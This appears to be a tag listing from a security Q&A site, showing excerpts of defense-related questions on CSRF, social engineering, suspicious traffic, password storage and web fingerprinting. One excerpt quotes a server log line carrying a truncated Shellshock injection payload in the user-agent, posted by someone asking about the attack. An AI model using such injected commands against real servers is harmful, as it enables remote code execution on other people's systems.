Defense is the use of security countermeasures to protect the integrity of the information assets in an IT system and/or infrastructure.

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CSRF Prvention Token Mechanism: Back button Navigation

I have a legacy web application and need to prevent it from CSRF. I tried to resolve the issue without compromising application functionality and got issues related to navigation. The main concern ...
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343 views

List of social engineering hacks and defenses [closed]

Sorry if this question is absolutely stupid or irrelevant, but I can't help but ask. I am just curious about different approaches hackers take in social engineering attacks, and clever examples of ...
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560 views

Are there any security issues with importing mail via POP/IMAP?

I'd want to design import mail functionality for an email provider. The process is: user enters email and password for another service at my site and then site accesses another email provider and ...
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35 views

Looking for Defensive security training or content [closed]

We all know there is a lot of "offensive security" classes and content but what about "Defensive Security" how to look for bugs and leaks in your perimeter.
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77 views

About Windows Interactive services Security

I know most services run under non interactive windows station or desktop also called session 0 while as some services (interactive) running under local system account create a window on interactive ...
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19 views

Transaction without 3DS in some online websites is Fraud prone? [duplicate]

I use my MasterCard credit card for online transactions which uses SecureCode for preventing online frauds even though hackers knows our credit card details. I have come across many sites which is ...
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93 views

secure flash update

The default method for updating flash is through Adobe's unsecured http portal, which seems to be a serious security concern, given the access that flash has on a user's machine. Can anyone recommend ...
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141 views

Industry average for security as a percentage of product budget?

Lets assume the product is pure software or a blend of software and cheap commodity hardware. Is there any work showing what the average industry spending is on just the security aspects as a ...
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130 views

What should you do when you notice weird traffic?

I'm not at this point yet, thankfully, but being prepared means knowing the answer before the issue arises, so here goes... You're looking through your firewall / website logs... And you notice a ...
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102 views

Need some docs that say we shouldn't upper the string when saving it as a password [closed]

I'm trying to find on the Internet some manual, guide or policy secure about applications should not convert lower string to upper string to store as password I mean, don't make ...
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106 views

What is the difference between XSS and Cross Site Flashing? [duplicate]

I want to know the basic differences between XSS and XSF
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312 views

Keyboard “eavesdropping” just got way easier, thanks to electromagnetic emanations

Just found this article which basically suggests that electromagnetic emanations can be used to eavesdrop on what you're typing. ...
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104 views

Do software systems become more secure every year? [closed]

It seems to me that computer software is becoming more secure every year - there are fewer zero-day exploits to be found, many hacker-proof concepts are becoming widespread (such as virtualization and ...
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171 views

Forensic Question Invisible User [closed]

I was able to create an invisible user in windows 7 and 8.1. The user is not visible at the login Screen, I added it to the SYSTEM account group and Remote desktop Users Group, The Administrator can ...
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763 views

future of graphical password authentication [closed]

I'm a student currently pursuing my Engineering in Computers. I'm planning to put all my knowledge in and try to actually implement something related to security. To be more specific I'm more ...
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2answers
8k views

Trying to get rid of hackers who have access to all my devices [closed]

What is the best way to go about getting rid of hackers that have gained access to all my personal computers, (both old and recently purchased) phones, and even random computers I use to simply get ...
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2answers
670 views

How to post comments on websites without being traced back

Just trying to get some general sense about the security on internet now-a-days. There are so many websites I go and comment on different things. If some comments are political and they don't like, I ...
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377 views

Programming languages for security? [duplicate]

I am a computer science student interested in the field of security and just had a few questions. What are the pros and cons for using C# for security purposes, I had assumed applications programmed ...
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136 views

Which is considered the first Cyber Security incident? [closed]

No matter we are talking about Information Security, or cyber security or IT security... I always hear first about "the moth" being the first security threat. But I don't believe it is when talking ...
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93 views

A demonstration of the most basic form of a data breach or similar attack

I am currently working on my bachelor thesis regarding cloud security and found this neat article describing the "Notorious nine" written by the CSA: The notoruios nine I am looking to try out some ...
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442 views

Recent “attack” to my server that might be using shellshock exploit

I just notice this repeated entry in nginx log: 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /cgi-bin/up.cgi HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: ...
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445 views

Preparation for Blue Team Competitions [closed]

I am a CS student, and am considering competing in the National Collegiate Cyber Defense Competition. Although I have a fair amount of experience in programming competitions (e.g. ACM at High School ...
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1answer
37 views

What security policies and practices could one practice to safegaurd against being inebriated?

My passwords for the most part as well as access procedures I could do while inebriated/intoxicated. Be it a simple login/password login to email or VPN and accessing a database. This might sound ...
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183 views

Asking for more information about AlienVault.com using Spiceworks, viability of “suspicious IP” alert

Website here: alienvault.com I've been trying out Spiceworks for about a week, seeing what use I get out of it. Today I log in and see an alert: "(my computer) has established a connection to ...
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490 views

Practical ways to protect against Cyber Pearl Harbor? [closed]

What practical methods should citizens be using to protect themselves against, and reduce the impact of an attack against critical national infrastructure A lot of recent news about critical network ...
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2answers
89 views

How can I defend against a data theft attack without shutting down my server/services? [closed]

According to information I've gathered on this site, no perfect defense is possible in the area of webserver security. The underlying software and / or maintainers of the system can be exploited to ...
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1answer
256 views

Measures that must be taken to protect online banking website [closed]

I building an online banking service in ASP.NET and my objective is to implement all possible security measures. Currently at database level I am using RES 2048 bit encryption to encrypt database ...
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2answers
192 views

Advice - When just starting your career, what are the best certifications to eyeball? [closed]

Im just starting out in school to study Network and Info Security. I know this is the field I want to invest my time and study into. Well over 200k security jobs went unfulfilled last year. My ...
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1answer
90 views

Known Windows vulnerabilities vs actual exploits on Microsoft's websites?

Although some of Microsoft's servers are running on Linux, at least half is running Windows Server of some kind. I'm trying to understand how with so many unpatched and unresolved vulnerabilities in ...
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2answers
511 views

Life in cybersecurity: How do I get there? [closed]

I am 17 years old and my ultimate job goal is a cyber security professional. I have been extensively studying TCP/IP, along with all other subjects in the CompTIA Network+ certification which I hope ...
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1answer
2k views

A clear definition for procedural security controls? [closed]

Can you please provide a clear definition for procedural security controls? Are operational and procedural security controls synonyms? Thanks
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163 views

How to respond to Cyber Bullying? [closed]

I am trying to learn about Cyber Bullying and I was thinking that if in future I get bullied, then what I can do? I have learned how to use Maltego, but if someone damages your reputation, then is ...
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2answers
1k views

Time it takes to crack a password on site like yahoo [closed]

I have a question. If you were using a password brute force/dictionary attack utility on a site like yahoo or another site, how long would it take to crack a password like Jah13Wootiang if Wootiang is ...
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2answers
734 views

Defend against HTTP fingerprinting [closed]

I'm looking for ways to defend against common fingerprinting techniques used by hackers to identify what kind of setup my website is running on. I understand this is a complicated topic, and every ...
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152 views

Is www.cheap-lingerine.com safe to use my credit card on? [closed]

I want to make sure my information is safe. This website is openly china-oriented but says to secure card information with Secure Sockets Layer technology (SSL) on those pages that involve sensitive ...